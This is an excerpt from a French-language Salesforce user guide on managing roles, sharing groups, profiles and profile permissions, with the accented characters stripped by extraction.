Pour crer un rle, cliquez sur Nouveau rle ou Ajouter un rle, selon que vous affichez les rles dans une vue de liste ou
une vue arborescente, puis modifiez les champs de rles requis. Vous pouvez crer jusqu' 500 rles pour votre entreprise.
Pour modifier un rle, cliquez sur Modifier en regard d'un nom de rle, puis mettez jour les champs de rle selon vos
besoins.
Pour modifier un rle, cliquez sur Supprimer en regard du nom de rle.
Pour attribuer d'autres utilisateurs un rle, cliquez sur Attribuer en regard du nom de rle.
Pour afficher des informations dtailles sur un rle, cliquez sur son nom. Si vous tes un utilisateur de la base de
connaissances Salesforce Knowledge, vous pouvez modifier les paramtres de visibilit de la catgorie dans la page de dtails
du rle.
Conseil: Pour simplifier la gestion des utilisateurs dans les grandes organisations, confiez des administrateurs dlgus
la gestion des utilisateurs dans des rles spcifiques et de tous les rles subordonns.

Voir aussi :
Affichage et modification des rles
Configuration du portail Client
Gestion des catgories de donnes
Prsentation de la base de connaissances Salesforce Knowledge

Affichage et modification des rles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les dtails d'un rle :

Afficher la configuration

Pour modifier et supprimer des rles :

Grer les utilisateurs

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour afficher des informations dtailles sur un rle, cliquez sur Configuration Grer les utilisateurs Rles, puis cliquez
sur le nom du rle.
Dans la liste associe Dtails du rle :

Pour afficher la page de dtails d'un rle de parent ou d'enfant, cliquez sur le nom du rle dans la Hirarchie dans liste
Enfants.
Pour modifier les dtails du rle, cliquez sur Modifier.
Pour supprimer le rle de la hirarchie, cliquez sur Supprimer.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 104

Dans Utilisateurs dans la liste associe Rle :

Pour attribuer un utilisateur un rle, cliquez sur Attribuer des utilisateurs un rle.
Pour ajouter un utilisateur votre organisation, cliquez sur Nouvel utilisateur.
Pour modifier les informations utilisateur, cliquez sur Modifier en regard d'un nom d'utilisateur.
Pour afficher les dtails d'un utilisateur, cliquez sur son nom, alias ou prnom.
Lorsque Actif est slectionn, l'utilisateur peut se connecter Salesforce.com. Les utilisateurs dsactivs, par exemple les
employs qui ne travaillent plus dans votre entreprise, ne peuvent plus se connecter Salesforce.com.

Dans la liste associe Paramtres de visibilit de groupes de catgories, vous pouvez effectuer les oprations suivantes :

Cliquer sur un groupe de catgories pour afficher les dtails de ses paramtres.
Cliquer sur Modifier en regard d'un groupe de catgories pour modifier ses paramtres de visibilit.
Remarque: Les paramtres de visibilit de groupes de catgories sont disponible uniquement dans la base de
connaissances Salesforce Knowledge, qui ncessite des licences de fonctionnalit Utilisateur de la base de connaissances.
Pour plus d'informations sur l'achat de licences de fonctionnalit, contactez salesforce.com.

Voir aussi :
Gestion des rles
Champs de rles
Gestion des catgories de donnes
Prsentation de la base de connaissances Salesforce Knowledge

Attribution d'utilisateurs aux rles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour affecter les utilisateurs des rles :

Grer les utilisateurs

Pour attribuer rapidement des utilisateurs un rle spcifique :

1. Cliquez sur Configuration Gestion des utilisateurs Rles.
2. Cliquez sur Attribuer en regard du nom de rle souhait.
Remarque: Vous pouvez galement accder cette page en cliquant sur Attribuer des utilisateurs un rle dans
la liste associe Utilisateurs du rle.
3. Effectuez une slection dans la liste droulante pour afficher les utilisateurs disponibles.
4. Choisissez un utilisateur sur la gauche, puis cliquez sur Ajouter pour l'attribuer ce rle.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 105

Remarque: Si vous supprimez un utilisateur de la liste Utilisateurs slectionns, l'attribution de rle dfinie pour cet
utilisateur sera supprime.

Voir aussi :
Champs de rles
Gestion des rles
Affichage et modification des rles

Champs de rles
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des rles :

Grer les utilisateurs

Les champs suivants (prsents par ordre alphabtique) forment une entre de rle. Certains champs peuvent ne pas tre
visibles ou modifiables selon les autorisations et les paramtres de partage de votre organisation.
Champ

Description

Accs la requte

Spcifie si les utilisateurs peuvent accder des requtes

d'autres utilisateurs associes aux comptes que les utilisateurs
dtiennent. Ce champ n'est visible que si le modle de partage
de l'organisation pour les requtes est Accs public en
lecture/criture.

Accs au contact

Spcifie si les utilisateurs peuvent accder des contacts

d'autres utilisateurs associs aux comptes que les utilisateurs
dtiennent. Ce champ n'est visible que si le modle de partage
de l'organisation pour les contacts est Accs public en
lecture/criture ou Contrl par parent.

Modifi par

Nom de l'utilisateur qui a modifi en dernier les dtails de ce

rle, et la date et l'heure de modification du rle.

Accs l'opportunit

Spcifie si les utilisateurs peuvent accder des opportunits

d'autres utilisateurs associes aux comptes que les utilisateurs
dtiennent. Ce champ n'est visible que si le modle de partage
de l'organisation pour les opportunits est Accs public en
lecture/criture.

Rle du partenaire

Spcifie si ce rle est associ un compte partenaire. Ce champ

est disponible uniquement si un portail client ou un portail
partenaire est activ pour l'organisation.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 106

Champ

Description

Nom de rle

Titre de la position ou du rle dans une organisation, par

exemple Responsable commercial Ouest.

Nom de rle affich dans les rapports

Nom de rle qui figure dans les rapports. Lors de la

modification d'un rle, si le Nom de rle est long, vous
pouvez saisir un nom abrg dans ce champ.

Groupes de partage

Ces groupes sont automatiquement crs et grs. Le groupe

Rle contient tous les utilisateurs de ce rle plus les utilisateurs
des rles de niveau suprieur. Le groupe Rle et subordonns
contient tous les utilisateurs de ce rle plus les utilisateurs des
rles de niveau suprieur et infrieur dans la hirarchie. Le
groupe Rle et subordonns internes (disponible si les portails
clients ou portails partenaires sont activs pour votre
organisation) contient tous les utilisateurs de ce rle plus les
utilisateurs des rles suprieurs et infrieurs ce rle,
l'exception des utilisateurs du portail client et du portail
partenaire.

Rle rattach

Rle au niveau suprieur ce rle dans la hirarchie.

Voir aussi :
Gestion des rles
Affichage et modification des rles
Attribution d'utilisateurs aux rles
Gestion des rles

Affichage des groupes de partage Rle et Territoire

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour chaque rle de votre hirarchie Salesforce.com cre automatiquement des groupes de partage que vous pouvez utiliser
dans des rgles de partage et dans un partage manuel :

Rle : utilisateurs du rle plus ceux des rles de niveau suprieur dans la hirarchie
Rle et subordonns : utilisateurs du rle plus ceux des rles de niveau suprieur et infrieur dans la hirarchie

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des rles | 107

Rle et subordonns internes : utilisateurs du rle plus ceux des rles de niveau suprieur et infrieur dans la hirarchie,
l'exception des utilisateurs du portail client ou du portail partenaire. Ce groupe est visible uniquement si les portails clients
ou les portails partenaires sont actives pour votre organisation.

Si la gestion des territoires est active pour votre organisation, chaque territoire possde des groupes de partage :

Territoire : utilisateurs du territoire plus ceux des territoires de niveau suprieur dans la hirarchie
Territoire et subordonns : utilisateurs du territoire plus ceux des territoires de niveau suprieur et infrieur dans la hirarchie
Remarque: Les utilisateurs obtiennent l'accs aux donnes selon leur position dans les hirarchies, en fonction d'un
paramtre dans les valeurs par dfaut l'chelle de l'organisation.

Pour afficher les membres du groupe de partage :

1. Pour des rles, cliquez sur Configuration Gestion des utilisateurs Rles.
Pour des territoires, cliquez sur Configuration Grer les territoires Hirarchie.
2. Cliquez sur le nom du rle ou du territoire.
3. Cliquez sur un lien dans le champ Groupes de partage.
Dans cette page, vous pouvez afficher des informations utilisateur dtailles, modifier ces informations et accder d'autres
informations connexes.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Modifier en regard d'un nom d'utilisateur pour modifier les informations le concernant.
Cliquez sur Connexion en regard d'un nom d'utilisateur pour vous connecter avec cette identit d'utilisateur. Ce lien est
disponible uniquement si l'utilisateur vous a accord l'accs.

Voir aussi :
Champs de rles

Affichage des utilisateurs dans des listes de rles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les utilisateurs :

Afficher la configuration

Pour modifier les utilisateurs :

Grer les utilisateurs

La page de la liste des utilisateurs affiche une liste d'utilisateurs attribus au rle slectionn. partir de cette page, vous pouvez
afficher des informations utilisateur dtailles, modifier des utilisateurs et accder d'autres informations connexes.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 108

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Modifier en regard d'un nom d'utilisateur pour modifier les informations le concernant.
Cliquez sur Connexion en regard d'un nom d'utilisateur pour vous connecter avec cette identit d'utilisateur. Ce lien est
disponible uniquement pour les utilisateurs qui ont accord une autorisation d'accs un administrateur.

Voir aussi :
Gestion des rles

Gestion des profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des profils :

Grer les utilisateurs

Un profil dfinit le droit d'un utilisateur d'excuter diffrentes fonctions dans Salesforce.com, le portail PRM et le portail
client Salesforce.com. Les profils contrlent galement :

Les sous-applications standard et personnalises visibles par l'utilisateur (selon la licence utilisateur)
Les onglets visibles par l'utilisateur (selon la licence utilisateur et d'autres facteurs comme l'accs Salesforce CRM Content)
Les autorisations accordes l'utilisateur afin de personnaliser et d'administrer Salesforce.com
Les autorisations accordes l'utilisateur afin de crer, de lire, de modifier et de supprimer les enregistrement pour chaque
objet
Les prsentations de page que l'utilisateur affiche
Les prsentations de console que l'utilisateur affiche
L'accs de scurit au niveau du champ dont l'utilisateur dispose pour afficher et modifier des champs spcifiques
Les types d'enregistrement disponibles pour l'utilisateur
Les heures auxquelles et les adresses IP partir desquelles l'utilisateur peut se connecter
Les clients de bureau auxquels les utilisateurs peuvent accder et les options associes
Remarque: Cette fonctionnalit n'est pas disponible dans Developer Edition.

Si l'utilisateur peut modifier le code Apex

Les utilisateurs pouvant excuter des mthodes dans une classe Apex suprieure particulire
Les paramtres d'accs public pour les utilisateurs des sites Force.com

Pour crer, modifier et supprimer des profils, cliquez sur Configuration Grer les utilisateurs Profils.
Chaque organisation Salesforce.com comporte des profils standard. Dans les organisations Contact Manager Edition, Group
Edition et Professional Edition, vous pouvez attribuer des profils standard aux utilisateurs. Toutefois, vous ne pouvez ni

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 109

afficher, ni modifier les profils standard, ni crer de profils personnaliss. Dans les entreprises Enterprise Edition, Unlimited
Edition et Developer Edition, vous pouvez utiliser les profils standard, ou crer, modifier et supprimer des profils personnaliss.
Seuls certains paramtres des profils standard sont modifiables.
Chaque profil standard ou personnalis appartient un seul type de licence utilisateur.

Voir aussi :
Prsentation de la gestion des utilisateurs
Affichage de listes de profils
Principales autorisations de profil

Profils standard
Les profils standard disponibles dpendent de votre dition.

Chaque entreprise Salesforce.com comporte des profils standard. Certains profils ne sont pas disponibles dans Contact Manager
Edition, Group Edition et Professional Edition.
Nom du profil

Droits d'accs disponibles

Administrateur systme

Peut configurer et personnaliser l'application. A accs toutes

les caractristiques qui ne ncessitent pas de licence
supplmentaire. Par exemple, les administrateurs ne peuvent
pas grer des campagnes moins qu'ils ne disposent aussi de
la licence d'utilisateur marketing. Peut grer les catalogues et
les produits. Peut modifier tous les quotas, remplacer des
prvisions et afficher toutes les prvisions.

Utilisateur de la plate-forme standard

Peut utiliser des sous-applications Force.com AppExchange

dveloppes dans votre entreprise ou installes partir
d'AppExchange. En outre, il peut utiliser les fonctions
principales de la plate-forme, telles que les comptes, les
contacts, les rapports, les tableaux de bord et les onglets
personnaliss. Pour plus d'informations sur les licences
utilisateur de la plateformeSalesforce.com, reportez-vous
Affichage des types de licences utilisateur la page 150.

Licence mono-utilisateur de la plate-forme standard

Peut utiliser une sous-application AppExchange dveloppe

dans votre entreprise ou installe partir d'AppExchange. La
sous-application personnalise est limite cinq onglets. En
outre, il peut utiliser les fonctions principales de la plate-forme,
telles que les comptes, les contacts, les rapports, les tableaux
de bord et les onglets personnaliss.

Utilisateur standard

Il peut crer et modifier la plupart des principaux types

d'enregistrement, excuter des rapports et afficher la
configuration de l'entreprise. Il peut afficher des campagnes

Gestion des utilisateurs

Nom du profil

Guide de l'utilisateur | Gestion des profils | 110

Droits d'accs disponibles

mais ne peut pas les grer. Il peut crer des solutions mais ne
peut pas les vrifier. Il peut modifier un quota personnel et
remplacer les prvisions.

Utilisateur partenaire

Il ne peut se connecter que via un portail PRM.

Utilisateur du Portail client haut volume

Il peut se connecter uniquement via un portail client. peuvent

accder des enregistrements si toutes les conditions ci-dessous
sont remplies :
Les enregistrements sont associs au compte ou au contact
de l'utilisateur du portail client haut volume ;
l'utilisateur du portail client haut volume dispose d'un accs
en lecture seule ou en lecture/criture aux enregistrements
d'un objet

Utilisateur du portail Client

Il peut se connecter uniquement via un portail client. Peut

uniquement afficher et modifier les donnes dont il est
directement responsable, et afficher et modifier les requtes
dans lesquelles son nom figure, dans le champ Nom du
contact.

Responsable du portail Client

Il peut se connecter uniquement via un portail client. Peut

afficher et modifier les donnes dont il est directement
responsable, celles appartenant ou partages par des
utilisateurs de niveau infrieur dans la hirarchie des rles dans
le Portail client, et peut afficher et modifier les requtes dans
lesquelles son nom figure, dans le champ Nom du contact.

Responsable solutions

Il peut vrifier et publier des solutions. Il a aussi accs aux

mmes caractristiques que l'utilisateur standard.

Utilisateur marketing

Il peut grer des campagnes, importer des pistes, crer des

en-ttes, crer des modles d'e-mail HTML, grer des
documents publics et mettre jour des historiques de
campagne via les assistants d'importation. Il a aussi accs aux
mmes caractristiques que l'utilisateur standard.

Responsable contrats

Il peut crer, modifier, activer et approuver des contrats. Ce

profil peut aussi supprimer des contrats tant qu'ils ne sont pas
activs. Il peut modifier un quota personnel et remplacer les
prvisions.

Lecture seule

Il peut afficher la configuration de l'entreprise, excuter et

exporter des rapports et afficher d'autres enregistrements mais
ne peut pas les diter.

Dans les organisations Contact Manager Edition, Group Edition et Professional Edition, vous pouvez attribuer des profils
standard aux utilisateurs. Toutefois, vous ne pouvez ni afficher, ni modifier les profils standard, ni crer de profils personnaliss.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 111

Dans les entreprises Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez utiliser les profils standard, ou
crer, modifier et supprimer des profils personnaliss. Seuls certains paramtres des profils standard sont modifiables.

Voir aussi :
Gestion des profils
Cration et modification de profils
Autorisations utilisateurs sur les profils
Gestion des utilisateurs du portail Client

Affichage de listes de profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des profils :

Afficher la configuration

Pour crer, modifier et supprimer des profils :

Grer les utilisateurs

Pour crer, modifier et supprimer des vues de liste de profils

:

Grer les utilisateurs

Pour imprimer une liste de profils :

Afficher la configuration

Pour afficher les profils dans votre organisation, cliquez sur Configuration Grer les utilisateurs Profils.
Affichage de la liste de profils de base

Pour afficher les dtails d'un profil, cliquez sur son nom.
Pour modifier ou supprimer un profil, cliquez sur Modifier ou sur Suppr en regard du nom du profil.
Pour crer un profil, cliquez sur Nouveau.

Affichage de listes de profils avances

Si la gestion de profils avance est active pour votre organisation, vous pouvez utiliser des outils supplmentaires afin de
personnaliser, naviguer, grer et imprimer des listes de profils. Vous pouvez galement modifier des autorisations directement
dans une vue de liste.

Pour afficher une liste filtre de profils, slectionnez une vue dans la liste droulante.
Pour crer un profil, cliquez sur Nouveau profil ou sur Cloner en regard du profil sur lequel vous souhaitez baser le nouveau
profil.
Pour crer une vue, clique sur Crer une nouvelle vue.
Pour imprimer une vue de liste, slectionnez la vue dans la liste droulante, puis cliquez sur le bouton Vue imprimable

( ).
Pour modifier une vue, slectionnez-la dans la liste droulante, puis cliquez sur Modifier
Pour supprimer une vue, slectionnez-la dans la liste droulante, puis cliquez sur Supprimer
Pour actualiser une vue de liste une fois la vue cre ou modifie, cliquez sur Actualiser.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 112

Pour modifier ou supprimer un profil, cliquez sur Modifier ou sur Suppr en regard du nom du profil.
Pour crer un profil bas sur un profil existant, cliquez sur Cloner en regard du nom du profil.

Cration et modification de vues de liste de profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des vues de liste de profils
:

Grer les utilisateurs

Si l'option gestion de profils avance est active pour votre organisation, vous pouvez crer des vues de liste de profils afin
d'afficher un ensemble de profils avec les champs de votre choix. Par exemple, vous pouvez crer une vue de liste de tous les
profils dans lesquels l'autorisation Modifier toutes les donnes est active.
Cration d'une vue de liste de profils
1. Dans la page Profils, cliquez sur Crer une vue.
2. Saisissez le nom de la vue.
3. Sous Critres de filtre spcifiques, spcifiez les conditions que les lments de la liste doivent remplir, tels que Modifier
toutes les donnes gal Vrai.
a. Saisissez le nom du paramtre ou cliquez sur l'icne de recherche
pour rechercher et slectionner le paramtre
souhait.
b. Choisissez un oprateur de filtre.
c. Saisissez la valeur laquelle vous souhaitez correspondre.
d. Pour spcifier une autre condition de filtre, cliquez sur Ajouter. Vous pouvez spcifier jusqu' 24 lignes de condition
de filtre.
Remarque: Pour retirer une condition de filtre et effacer ses valeurs, cliquez sur l'icne de suppression d'une
ligne .

4. Sous Slectionner les colonnes afficher, spcifiez les paramtres de profil que vous souhaitez afficher en tant que colonnes
dans la vue de liste.
a. Dans la liste droulante Rechercher, slectionnez le type de paramtre que vous souhaitez rechercher.
b. Saisissez tout ou partie d'un terme dans le paramtre que vous souhaitez ajouter, puis cliquez sur Rechercher.
Remarque: Si la recherche trouve plus de 500 valeurs, aucun rsultat ne s'affiche. Pour affiner vos critres de
recherche et rduire le nombre de rsultats, utilisez les tapes prcdentes.
c. Pour ajouter ou supprimer des colonnes, slectionnez un ou plusieurs noms de colonne, puis cliquez sur la flche Ajouter
ou sur la flche Supprimer.
d. Pour organiser les colonnes dans l'ordre que vous souhaitez, utilisez les flches Haut, Vers le haut, Vers le bas et Bas.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 113

Remarque: Vous pouvez ajouter jusqu' 15 colonnes dans une seule vue de liste.

5. Cliquez sur Enregistrer.

Modification d'une vue de liste de profils
Pour modifier ou cloner une vue de liste existante :
1.
2.
3.
4.

Dans la page Profils, slectionnez une vue dans la liste droulante.

Cliquez sur Modifier.
Modifiez les champs en suivant la procdure de cration d'une vue de liste.
Cliquez sur Enregistrer. Pour cloner une vue existante, renommez la vue de liste, puis cliquez sur Enregistrer sous.

Voir aussi :
Gestion des profils
Modification des profils l'aide de listes de profils
Affichage de listes de profils

Cration et modification de profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des profils :

Grer les utilisateurs

Pour afficher un profil, cliquez sur Configuration Gestion des utilisateurs Profils, puis slectionnez le nom d'un
profil.
Pour crer un profil, cliquez sur Nouveau dans la page de liste de profils. Alternativement, si la gestion de profils avance
est active, cliquez sur Nouveau profil. Slectionnez le profil existant copier, puis attribuez-lui un nom et cliquez sur
Enregistrer. Cliquez ensuite sur Modifier pour modifier le profil, si ncessaire.
Remarque: La licence utilisateur change en fonction du profil existant slectionn.

Pour cloner un profil, affichez un profil existant et cliquez sur Cloner.

Vous pouvez cloner les profils d'utilisateurs du portail client Salesforce.com uniquement partir des profils Responsable
du portail client et Utilisateur du portail client. Ceci garantit que les utilisateurs du portail Client n'ont accs qu'aux
informations les concernant.

Pour modifier un profil personnalis, cliquez sur Modifier dans la page de liste des profils. Selon vos besoins, modifiez le
nom, la description, le paramtrage des sous-applications personnalises, le paramtrage des onglets et les autorisations
concernant le profil. Si la gestion de profils avance est active pour votre organisation, vous pouvez modifier plusieurs
profils partir de cette vue de liste.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 114

Lorsque vous modifiez les autorisations des utilisateurs, certaines d'entre elles peuvent automatiquement activer ou dsactiver
d'autres autorisations. Par exemple, activer l'autorisation Afficher toutes les donnes active automatiquement l'autorisation
de lecture de tous les objets standard et personnaliss. De mme, l'autorisation de transfert de pistes active automatiquement
les autorisations de lecture et de cration dans les pistes.
Lors de la modification d'un profil, vous dfinissez des sous-applications standard ou des sous-applications personnalises
visibles pour les utilisateurs ayant ce profil. Chaque profil personnalis doit possder au moins une sous-application visible,
l'exception des profils associs aux utilisateurs du portail Client car ils n'ont pas accs aux sous-applications. Les paramtres
de la sous-application deviennent effectifs ds que vous cliquez sur Enregistrer. Les sous-applications standard sont
disponibles uniquement aux types de licence utilisateur Salesforce.com Affichage des types de licence utilisateur. Vous ne
pouvez afficher que cinq onglets pour les utilisateurs disposant d'une licence Salesforce Platform One.
Remarque: Si salesforce.com a activ Salesforce CRM Content mais qu'un administrateur n'a pas slectionn la
case utilisateur Salesforce CRM Content sur la page de dtails des utilisateurs, l'application Salesforce CRM
Content ne possde aucun onglet. Les onglets s'affichent lorsque la case utilisateur Salesforce CRM Content est
coche.
Vous pouvez galement indiquer si vous souhaitez effacer les personnalisations existantes d'onglets des utilisateurs. La
visibilit des onglets est dtermine par les paramtres suivants :

Paramtre

Description

Valeur par dfaut active

Affiche l'onglet par dfaut pour les utilisateurs dots de ce

profil. Chaque utilisateur peut remplacer ce paramtre pour
ses connexions. L'onglet Accueil est toujours dfini sur
Valeur par dfaut active.

Valeur par dfaut dsactive

Masque l'onglet par dfaut pour les utilisateurs dots de ce

profil. Chaque utilisateur peut remplacer ce paramtre.

Onglet cach

Masque l'onglet et empche les utilisateurs de remplacer ce

paramtre dans leur version personnalise. Masquer un onglet
ne masque pas les enregistrements correspondants. Pour que
les utilisateurs ne voient pas les enregistrements de ce type,
supprimez l'autorisation de lecture de ce type de donnes.

Pour supprimer un profil personnalis, cliquez sur Suppr dans la page de liste des profils.
Pour afficher ou modifier les prsentations de page correspondant un profil, slectionnez le profil voulu, puis cliquez sur
Afficher attribution en regard du nom d'un onglet dans la section Prsentations de page.
Pour attribuer une prsentation de console un profil, cliquez sur le lien Modifier dans la section des Paramtres de la
console de la page de dtails du profil.
Pour dfinir la scurit au niveau du champ relative un profil, slectionnez le profil voulu dans la page de liste prvue
cet effet, puis cliquez sur Afficher en regard du nom d'un onglet dans la section Scurit au niveau du champ.
Pour dfinir les types d'enregistrement disponibles pour les utilisateurs dots d'un profil spcifique, slectionnez ce profil
dans la page de liste des profils, puis cliquez sur Modifier en regard du nom d'un onglet dans la section Paramtres de type
d'enregistrement. Le lien Modifier n'est disponible que s'il existe des types d'enregistrement pour un onglet particulier.
Pour afficher la liste des utilisateurs attribus un profil, slectionnez un profil dans la page de liste prvue cet effet, puis
cliquez sur Afficher les utilisateurs.
Vous pouvez galement attribuer des profils un portail client ou un portail partenaire.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 115

Remarque: Les profils n'ont jamais priorit sur le modle de partage ou la hirarchie des rles ou des territoires de
votre organisation. Par exemple, le profil Utilisateur standard permet un utilisateur de crer, modifier ou supprimer
des pistes. Cependant, un utilisateur dot de ce profil ne peut ni modifier, ni supprimer les pistes d'autres utilisateurs
si le modle de partage de votre entreprise est en lecture seule pour les pistes.

Voir aussi :
Gestion des utilisateurs
Autorisations utilisateurs sur les profils
Profils standard
Gestion des profils

Modification des profils l'aide de listes de profils

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des profils :

Grer les utilisateurs

Si la gestion des profils avance est active pour votre organisation, vous pouvez modifier les autorisations dans 200 profils,
directement dans la vue de liste, sans accder aux pages de profil individuelles. Les champs modifiables affichent l'icne d'un
crayon ( ) lorsque vous survolez le champ, tandis que les champs non modifiables affichent l'icne d'un verrou ( ). Dans
certains cas, notamment dans les profils standard, l'icne de crayon s'affiche mais le paramtre n'est pas modifiable.
ATTENTION: Utilisez cette mthode de modification des profils avec prcaution. Comme les profils affectent
l'accs de base des utilisateurs, toute modification globale peut avoir des consquences importantes pour les utilisateurs
de votre organisation.
Pour modifier les autorisations dans un ou plusieurs profils :
1. Slectionnez ou crez une vue de liste qui comprend les profils et les autorisations que vous souhaitez modifier.
2. Pour modifier des profils multiples, activez la case en regard de chaque profil que vous souhaitez changer. Si vous slectionnez
des profils dans plusieurs pages, Salesforce.com mmorise les profils slectionns.
3. Double-cliquez sur l'autorisation que vous souhaitez modifier. Avec des profils multiples, double-cliquez sur l'autorisation
dans l'un des profils slectionns.
4. Dans la bote de dialogue qui s'affiche, activez ou dsactivez l'autorisation. Dans certains cas, modifier une autorisation
peut affecter d'autres autorisations. Par exemple, si les options Grer les requtes et Transfrer les requtes sont
actives et que vous dsactivez Transfrer les requtes , l'option Grer les requtes est galement dsactive. Dans
ce cas, la bote de dialogue rpertorie les autorisations affectes.
5. Pour modifier des profils multiples, slectionnez Les n enregistrements slectionns (o n correspond au nombre de
profils slectionns).
6. Cliquez sur Enregistrer.

Gestion des utilisateurs

Guide de l'utilisateur | Gestion des profils | 116

Remarque:

Avec des profils standard, la modification en ligne est disponible uniquement pour les autorisations Connexion
unique et Affect par services .
Si vous modifiez des profils multiples, seuls les profils qui prennent en charge l'autorisation modifie sont affects.
Par exemple, si vous utilisez la modification en ligne pour ajouter Modifier toutes les donnes des profils
multiples et que l'un des profils est une plate-forme (ne disposant pas de Modifier toutes les donnes ), le profil
de la plate-forme ne change pas.

En cas d'erreur, un message s'affiche qui rpertorie chaque profil erron avec une description de l'erreur. Cliquez sur le nom
du profil pour ouvrir sa page de dtails. Les profils sur lesquels vous avec cliqu sont griss et barrs dans la fentre du message
d'erreur.
Remarque: Pour afficher la console d'erreur, vous devez dsactiver le bloqueur de fentres intempestives pour le
domaine Salesforce.com. Pour vrifier si votre navigateur accepte les fentres intempestives, cliquez sur Configuration
Mes informations personnelles Rappels, puis sur Prvisualiser l'alerte de rappel.
Pour examiner vos modifications dans le journal d'audit de configuration, slectionnez Configuration Contrles de scurit
Afficher le journal d'audit de configuration.

Voir aussi :
Affichage de listes de profils

Principales autorisations de profil

Disponible avec : Toutes les ditions

Les Profils contiennent des autorisations administratives et des autorisations utilisateur gnrales, qui contrlent les oprations
que les utilisateurs peuvent effectuer. Plusieurs autorisations sont trs puissantes et mritent une attention particulire.
ATTENTION: Les autorisations sont trs puissantes. Elles augmentent considrablement l'accs aux donnes. Soyez
prudent lorsque vous activez ces autorisations pour un profil.
Grer les utilisateurs
Un utilisateur disposant de cette autorisation peut accorder n'importe quelle autre autorisation lui-mme et d'autres
utilisateurs. Cette autorisation fait de cet utilisateur un super utilisateur.
Personnaliser l'application
Cette autorisation accorde un large ventail d'autorisations qui permettent un utilisateur de contrler tous les aspects
d'une application, depuis la cration et la suppression de champs personnaliss la mise en oeuvre de rgles de workflow.
Les dveloppeurs d'applications ncessitent cette autorisation. Vous devez toutefois connatre l'ventail des oprations
qu'elle permet.
Modifier toutes les donnes
Cette autorisation ignore l'ensemble des restrictions de modification des donnes dans tous les objets : Elle contourne
galement l'ensemble du systme de partage bas sur les enregistrements. Si vous devez permettre aux utilisateurs de

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 117

modifier toutes les donnes d'un objet particulier, vous pouvez vous contenter d'attribuer l'autorisation Modifier tout
au niveau de l'objet.
Afficher toutes les donnes
Cette autorisation ignore l'ensemble des restrictions d'affichage des donnes dans tous les objets : Elle contourne galement
l'ensemble du systme de partage bas sur les enregistrements. Si vous devez permettre aux utilisateurs d'afficher toutes
les donnes d'un objet particulier, vous pouvez vous contenter d'attribuer l'autorisation Afficher tout au niveau de
l'objet.
Modifier les champs en lecture seule
Cette autorisation permet aux utilisateurs de modifier des champs marqus en lecture seule par la scurit au niveau du
champ ou par la prsentation de page.
Afficher les donnes cryptes
Cette autorisation permet aux utilisateurs d'afficher les donnes de champs crypts sous forme de donnes de texte brut.
Pour plus d'informations sur les champs crypts, reportez-vous propos des champs personnaliss crypts la page
474.

Voir aussi :
Gestion des profils
Cration et modification de profils
Autorisations utilisateurs sur les profils

Autorisations utilisateurs sur les profils

Les profils standard disponibles dpendent de votre dition.

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des profils :

Grer les utilisateurs

Pour afficher des profils :

Afficher la configuration

Les autorisations utilisateur sont organises comme suit :

Autorisations administratives
Autorisations gnrales
Autorisations d'objet standard et personnaliss
Autorisations client d'intgration votre matriel de bureau
Autorisations de classe Apex

Autorisations administratives
Le tableau suivant prsente les autorisations administratives associes chaque profil standard.

Gestion des utilisateurs

Guide de l'utilisateur | Autorisations utilisateurs sur les profils | 118

Autorisations administratives
Nom de l'autorisation

Fonctions contrles

Profils

Affect par services

Filtre les rsultats d'une recherche, les

vues de liste et les rapports d'un
utilisateur par service. Lorsque cette
autorisation est dsactive, les recherches,
les vues de liste et les rapports d'un
utilisateur affichent toujours les
enregistrements dans tous les services.

Administrateur,
Utilisateur standard,
Responsable solutions,
Utilisateur marketing,
Responsable contrats

Les organisations qui utilisent Unlimited

et Developer Edition peuvent modifier
cette autorisation utilisateur dans les
profils standard et personnaliss
API active

Accorde l'accs l'API, l'API en masse Administrateur

et l'API mtadonnes

Utilisateur API uniquement

Refuse l'accs aux utilisateurs de

Salesforce.com, sauf via l'API ou l'API
en masse

